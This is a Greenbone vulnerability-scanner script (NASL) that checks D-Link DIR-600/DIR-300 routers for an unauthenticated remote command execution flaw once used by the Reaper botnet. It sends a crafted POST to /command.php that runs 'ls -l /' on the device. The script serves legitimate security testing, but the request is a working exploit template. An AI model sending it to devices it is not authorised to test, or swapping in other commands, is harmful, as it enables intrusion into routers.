D-Link DIR-600/DIR 300 RCE Vulnerabilities

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103656");
  script_version("2024-06-28T15:38:46+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("D-Link DIR-600/DIR 300 RCE Vulnerabilities");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/120052/D-Link-DIR-600-DIR-300-Command-Execution-Bypass-Disclosure.html");
  script_xref(name:"URL", value:"http://www.s3cur1ty.de/m1adv2013-003");
  script_xref(name:"URL", value:"http://blog.netlab.360.com/iot_reaper-a-rappid-spreading-new-iot-botnet-en/");

  script_tag(name:"last_modification", value:"2024-06-28 15:38:46 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2013-02-05 16:00:07 +0100 (Tue, 05 Feb 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("DIR-6_3_00/banner");

  script_tag(name:"solution", value:"Vendor updates are available.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"D-Link DIR-600 and DIR 300 products are prone to a remote code
  execution (RCE) vulnerability.

  This vulnerability was known to be exploited by the IoT Botnet 'Reaper' in 2017.");

  script_tag(name:"impact", value:"Successful exploits will result in the execution of arbitrary code in
  the context of the affected application. Failed exploit attempts may
  result in a denial-of-service condition.");

  script_tag(name:"affected", value:"The following products are affected:

  DIR-300:

  - Firmware Version : 2.12 - 18.01.2012

  - Firmware Version : 2.13 - 07.11.2012

  DIR-600:

  - Firmware-Version : 2.12b02 - 17/01/2012

  - Firmware-Version : 2.13b01 - 07/11/2012

  - Firmware-Version : 2.14b01 - 22/01/2013");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if(!banner || ("DIR-300" >!< banner && "DIR-600" >!< banner))
  exit(0);

host = http_host_name(port:port);
ex = 'cmd=ls -l /;';
len = strlen(ex);

req = string("POST /command.php HTTP/1.1\r\n",
             "Host: ", host,"\r\n",
             "Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n",
             "Referer: http://",host,"/\r\n",
             "Content-Length: ", len,"\r\n",
             "Cookie: uid=vttest\r\n",
             "\r\n",
             ex);
result = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);

if("www" >< result && "sbin" >< result && "var" >< result && "drwxrwxr-x" >< result) {
  security_message(port:port);
  exit(0);
}

exit(0);